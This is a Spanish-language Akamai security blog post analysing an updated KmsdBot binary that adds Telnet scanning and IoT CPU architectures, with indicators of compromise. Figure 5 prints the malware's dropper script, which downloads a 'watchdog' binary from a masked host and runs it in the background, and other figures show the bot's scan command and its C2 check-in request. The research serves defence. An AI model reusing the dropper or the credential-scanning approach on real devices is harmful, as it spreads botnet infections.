¿Necesita Cloud Computing? Empiece ahora

La actualización de Kmsdx Binary muestra que KmsdBot se dirige al panorama del IoT

Larry Cashdollar

escrito por

Larry Cashdollar

August 15, 2023

Larry Cashdollar

escrito por

Larry Cashdollar

Larry W. Cashdollar lleva más de 18 años trabajando en el campo de la seguridad como investigador de vulnerabilidades y actualmente es miembro del equipo de Respuesta a Incidentes de Seguridad de Akamai Technologies. Estudió Informática en la Universidad del Sur de Maine, ha documentado más de 150 vulnerabilidades y exposiciones comunes (CVE) e incluso ha presentado su investigación en BSides Boston, OWASP Rhode Island y Defcon. En su tiempo libre, le gusta hacer actividades al aire libre y reconstruir motores de minibicicletas.

Las actividades en curso de la campaña de malware KmsdBot indican que los dispositivos IoT siguen siendo frecuentes y vulnerables en Internet, lo que los convierte en objetivos atractivos para crear una red de sistemas infectados.

Edición y contribuciones adicionales de Tricia Howard

Resumen ejecutivo

  • El equipo de respuesta a incidentes e inteligencia en seguridad (SIRT) de Akamai ha seguido realizando un seguimiento de la campaña de malware KmsdBot, que ha revelado un archivo binario Kmsdx actualizado dirigido a los dispositivos del Internet de las cosas (IoT).

  • El binario ahora incluye asistencia para la búsqueda por Telnet y soporte para más arquitecturas de CPU, expandiendo sus capacidades de ataque y la superficie de ataque.

  • Estas capacidades actualizadas solo se han visto desde mediados de julio de 2023.

  • El malware tiene como objetivo servidores de juegos privados, proveedores de alojamiento en la nube y determinados sitios educativos y gubernamentales.

  • La presencia y las actividades del malware indican que los dispositivos IoT vulnerables siguen siendo una amenaza importante en Internet, lo que refuerza la necesidad de aplicar medidas de seguridad y actualizaciones periódicas.

¿Adivina qué ha vuelto?

El SIRT de Akamai ha estado realizando un seguimiento de la campaña de botnets de Kmsdx desde noviembre de 2022, y ahora tenemos otra nueva evolución. Esta vez, descubrimos un binario Ksmdx actualizado con inclinación por el IoT, lo que supone una enorme expansión de las capacidades en comparación con las versiones anteriores.

La incorporación del IoT como objetivo también nos proporciona información sobre el comportamiento del atacante y el panorama en general. A pesar de la existencia del IoT desde hace varios años, junto con varios ataques de denegación de servicio distribuidos a gran escala basadas en el IoT (DDoS), esta nueva evolución demuestra la inmensidad del panorama de amenazas que sigue planteando el IoT.

En esta publicación, analizaremos las actualizaciones del binario y revisaremos sus técnicas de selección de objetivos. También discutiremos el impacto de esta evolución.

KmsdBot se dirige al IoT

KmsdBot ha recorrido mucho camino: desde el descubrimiento inicial al autor bloqueándolo accidentalmente, hasta el SIRT de Akamai con la emulación de su mando y control (C2). Nuestra investigación sobre este malware en constante evolución ha continuado, dando lugar a esta cuarta versión: un binario Kmsdx actualizado.

Este binario es responsable de explorar direcciones IP aleatorias para puertos SSH abiertos e intentar iniciar sesión en el sistema con una lista de contraseñas descargada del servidor C2.

El binario se ha actualizado para incluir compatibilidad con la búsqueda por Telnet y la verificación de servicios Telnet legítimos. La lista de binarios de KmsdBot ha crecido hasta abarcar más arquitecturas de CPU que suelen encontrarse en los dispositivos IoT. Lo mencionamos en nuestra primera publicación en el blog sobre este malware como una posibilidad futura, ya que la estructura de directorios del servidor FTP indicó que estaba por venir un mayor soporte de arquitectura de CPU.

El ejemplo parece estar comprobando los servicios Telnet válidos determinando si la conexión inicial en el puerto 23 recibe algo. Parece estar comprobando que lo que está escuchando en el puerto 23 es un servicio Telnet válido y presenta un mensaje, en lugar de simplemente desconectarse.

En el pseudocódigo generado en la Figura 1, se llama a main_isitfake dentro de la función de búsqueda principal por Telnet.

En el pseudocódigo generado en la Figura 1, main_isitfake es llamado dentro de la función de búsqueda principal por Telnet. Fig. 1: En el pseudocódigo generado, main_telnet() llama a main_isitfake()

Si la comprobación falla, finaliza ahí. Sin embargo, si pasa (devuelve FALSE), procede a ejecutar la carga de infección.

Esta exploración de IP aparentemente simple tiene algo de profundidad (Figura 2). Esta comprobación de legitimidad es uno de los factores que nos dejó ver la posibilidad de establecer como objetivo los dispositivos IoT. Algunos dispositivos IoT tienen escucha Telnet y también tienen una lista de control de acceso que descarta la conexión si la dirección IP no procede de un espacio de direcciones RFC 1918

Si no está familiarizado con RFC 1918, se titula "Asignación de direcciones para redes privadas" y describe los rangos de direcciones IP utilizados para redes internas. Por ejemplo, los rangos de IP comunes utilizados para las redes domésticas son 192.168.1.0/24 y 192.168.0.0/24.

La exploración de IP simple tiene algo de profundidad (Figura 2). Fig. 2: Código adicional añadido para gestionar la búsqueda por Telnet

Al igual que el analizador SSH, el analizador Telnet llama a una función que genera una dirección IP aleatoria. A continuación, intenta conectarse al puerto 23 de esa dirección IP. El analizador Telnet no se detiene ante un puerto simple 23 que esté escuchando/no escuchando la decisión, sin embargo, verifica que el búfer de recepción contiene datos. Hemos podido generar este fragmento de pseudocódigo a partir del binario descompilado (Figura 3) que muestra cómo comprueba si el búfer contiene datos (no nulos).

Hemos podido generar este fragmento de pseudocódigo a partir del binario descompilado (Figura 3) que muestra cómo comprueba si el búfer contiene datos (no nulos). Fig. 3: Código Peusodo que muestra el control de flujo de la comprobación del búfer

Paquete principal: /root/scan

Archivo: main.go

Líneas principales: 11 a 48 (37)

Líneas de escáner: 48 a 68 (20)

Archivo: pma.go

Líneas checkpma: 13 a 79 (66)

Líneas checkpmafunc1: 68 a 72 (4)

Líneas de comprobación: 79 a 114 (35)

Archivo: ssh.go

Líneas sshcheck: 15 a 205 (190)

Líneas de exploración: 205 a 227 (22)

Líneas scanfunc1: 218 a 226 (8)

Archivo: telnet.go

Líneas scantelnet: 11 a 41 (30)

Líneas scantelnetfunc1: 26 to 34 (8)

Líneas Telnet: 41 to 85 (44)

Líneas isitfake: 85 a 120 (35)

Archivo: utils.go

Líneas randomIP: 31 a 49 (18)

Líneas portopen: 49 a 82 (33)

Líneas newpassword: 82 a 92 (10)

Líneas sendreq: 92 a 104 (12)

Líneas optimaltimeout: 104 a 119 (15)

Líneas nolimits: 119 a 127 (8)

Líneas osname: 127 a 184 (57)

Líneas getlistofdata: 184 a 217 (33)

Líneas choosedifficultyport: 217 a 245 (28)

Líneas workername: 245 a 271 (26)

Líneas randomwallet: 271 a 274 (3)

Fig. 4: Salida Redress que muestra el código agregado para admitir el servicio de búsqueda por Telnet

El impacto de la actualización

Aunque algunas de las actualizaciones de KmsdBot no han tenido éxito, esta vez parece que sí lo ha logrado. Además de la funcionalidad de comprobación de análisis añadida, ahora se admiten muchas más arquitecturas. Atrás quedaron los días de solo Winx86, Arm64 y mips64, x86_64; como puede ver en la secuencia de comandos de instalación ftp1.sh (Figura 5), hay muchas más disponibles.

  #/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/386/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/amd64/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/arm/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/armv7l/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/arm64/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/ppc64/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/ppc64le/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/mips/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/mipsle/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/mips64/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/mips64le/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/s390x/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog

Fig. 5: Secuencia de comandos de instalación kmsd que muestra las arquitecturas soportadas

Aunque kmsd ha existido desde por lo menos noviembre de 2022, su legitimidad de búsqueda por Telnet es bastante reciente. Según nuestros registros de seguimiento de bots, el servicio de búsqueda por Telnet comenzó el 16 de julio de 2023.

Encontrar víctimas

Telnet.txt (Figura 6) es el nombre del archivo que se va a descargar con la lista de credenciales para distintas aplicaciones. Al comprobar nuestros registros, hemos encontrado nombres de archivo como app, euro, euro2, euro3, euro4, lilstat, stats y users. Los archivos contienen credenciales diferentes para las distintas aplicaciones. Por ejemplo, "app" contiene posibles credenciales de inicio de sesión para aplicaciones como Hadoop, Oracle, Elasticsearch, etc., mientras que los archivos "euro" contienen credenciales para TeamSpeak, CentOS, Ubuntu y otras combinaciones de inicio de sesión.

!scan c2_ipadddress telnet telnet.txt kthread watchdog

Fig. 6: Comando de bot para descargar las credenciales e iniciar el análisis

Como puede ver en la Figura 7, el archivo de texto contiene varias contraseñas poco seguras que se utilizan habitualmente y combinaciones de ellas, como la misma palabra en diferentes casos. Las credenciales enumeradas pueden parecer ineficaces: son muy simples y muy pobres, y esperemos que no sean utilizadas por un ser humano.

Sin embargo, cuando incluimos el ángulo del IoT en esto, tiene sentido. Muchos dispositivos IoT se dejan con credenciales predeterminadas; de hecho, muchas personas con mentalidad poco técnica ni siquiera son conscientes de que las credenciales se pueden cambiar.

Como puede ver en la Figura 6, el archivo de texto contiene varias contraseñas poco seguras que se utilizan habitualmente y combinaciones de ellas, como la misma palabra en diferentes casos. Fig. 7: Lista parcial de las credenciales descargadas que se almacena en telnet.txt

Aparte del comando bot anterior, la línea de comandos ./ksmdx telnet telnet.txt kthread watchdog hará que el binario ksmdx descargue una lista de credenciales Telnet y comience a explorar direcciones IP aleatorias para el servicio Telnet. A continuación, el analizador enviará una solicitud POST al puerto 45833 llamada "Bruh Started:" (Figura 8) que informa al servidor C2 de que se ha iniciado el análisis. 

  POST / HTTP/1.1
  Host: xxx.xxx.xxx.xxx:45833
  User-Agent: Go-http-client/1.1
  Content-Length: 14
  Content-Type: text/plain
  Accept-Encoding: gzip

  Bruh Started:

Fig. 8: Solicitud POST que alerta al atacante de que se ha iniciado el análisis de Telnet

La inconsistencia del establecimiento de objetivos

La botnet sigue dirigiéndose principalmente a servidores de juegos privados y proveedores de alojamiento en la nube, como lo ha hecho todo el tiempo; sin embargo, cada ronda de kmsd ha tenido algunos objetivos que parecen estar fuera de ese alcance. Esta vez, fuero atacados algunos sitios del gobierno rumano y algunas universidades españolas.

La incoherencia del establecimiento de objetivos es coherente con el comportamiento de los atacantes detrás de kmsd, que probablemente sea un servicio de botnet de alquiler. Estos ataques están dirigidos a los puertos 80 y 443 con solicitudes HTTP POST, y los ataques "bigdata" siguen siendo el ataque principal de elección.

Indicadores de compromiso

66e0f3674a66647d5a9e23f47f889d4e3ad9b4a66db8f3def48d4675374d12f7 bins.sh

718fc249bcd6bc37ad229fb2d8c4037dc8dc8f4555d01934266d1a0c17d676cf watchdog.386

1f66675d2102e5d4ac89a239f9022c48b3bf23fe92dadb832d84e0eac6e476d6 watchdog.amd64

50afbf471a92acd1a0a6a2ffe199a52881eb80f683d95273302506194b2cd6ae watchdog.arm

812133033ba969731b66c63d5468556e42048bad396ef1026b5a91dda98bc289 watchdog.arm64

542791cf2dde1f449629b03ef95d3c2e0b2f98b1143d619232620d7c9459706c watchdog.mips

184f361bcf48265e74c31adee297b0cdfb1bbc39bc58f901c4ffdb69f6b589de watchdog.mips64

b09a3c2922ac519e76718c56763e39aece82c18556039be8547b166479f35555 watchdog.mips64le

b921f0de63ffae2865f5e1dbe8a52a1da505c902e2e4e2a96b85983029d311b5 watchdog.mipsle

b5eba1e7403e64559cfd40d56163ac31f3100d5e6e46be8fbb190cb82905528b watchdog.ppc64

c7a7a77343869f30004d02cba1bb24fd6c34770b40a19f37eb11c1b1d814446f watchdog.ppc64le

c8995af31396ef03270e847c1f40e1b860f3b838b7a6b0cde9decc2a3d01cad3 watchdog.s390x

d9a94d9ab91ae20cb91946f9c2513848844068914be3e9a6a5279b860febe2cc ksmdx

cad0ea256fc764f501da91c4e3b17bf08df7525d3dac376a1e23d3b40c60a7a1 download.php

803fb1cdeea499f9faaa0c95857d30d6be9d92fcce5dc176d5d3bac8d4f37eb3 ftp1.sh

733a3db1b54bac7ad8279b7b98be97833ee0e620b5be7db3159e178deb966e53 svhostb.exe

Conclusión

Las actividades en curso de la campaña de malware KmsdBot indican que los dispositivos IoT siguen siendo frecuentes y vulnerables en Internet, lo que los convierte en objetivos atractivos para crear una red de sistemas infectados.

Desde un punto de vista técnico, la incorporación de las capacidades de búsqueda por Telnet sugiere una expansión de la superficie de ataque de la botnet, lo que le permite dirigirse a una gama más amplia de dispositivos. Además, como el malware evoluciona y añade compatibilidad con más arquitecturas de CPU, supone una amenaza continua para la seguridad de los dispositivos conectados a Internet. Esta expansión también indica el éxito de la botnet: Si no fuera eficaz, los atacantes no dedicarían tiempo actualizándola con tanta frecuencia (incluso aunque la bloquearan accidentalmente con una de las actualizaciones).

Desde un punto de vista personal, este descubrimiento hace hincapié en la necesidad de medidas de seguridad sólidas y actualizaciones periódicas para protegerse contra dichos ataques. También requiere más formación sobre el IoT y las amenazas que suponen para una persona o un hogar medio. Lo hemos visto una y otra vez: una nevera aleatoria puede convertirse fácilmente en un participante no deseado en un ataque DDoS, probablemente sin que el propietario sea consciente de que se está produciendo un ataque.

No se lo pierda

Uno de los objetivos del SIRT de Akamai es diseccionar y documentar la evolución de botnets como KmsdBot e informar al público sobre lo que descubrimos. Puede encontrar nuestra investigación de seguridad de última generación en tiempo real si nos sigue en Twitter.



Larry Cashdollar

escrito por

Larry Cashdollar

August 15, 2023

Larry Cashdollar

escrito por

Larry Cashdollar

Larry W. Cashdollar lleva más de 18 años trabajando en el campo de la seguridad como investigador de vulnerabilidades y actualmente es miembro del equipo de Respuesta a Incidentes de Seguridad de Akamai Technologies. Estudió Informática en la Universidad del Sur de Maine, ha documentado más de 150 vulnerabilidades y exposiciones comunes (CVE) e incluso ha presentado su investigación en BSides Boston, OWASP Rhode Island y Defcon. En su tiempo libre, le gusta hacer actividades al aire libre y reconstruir motores de minibicicletas.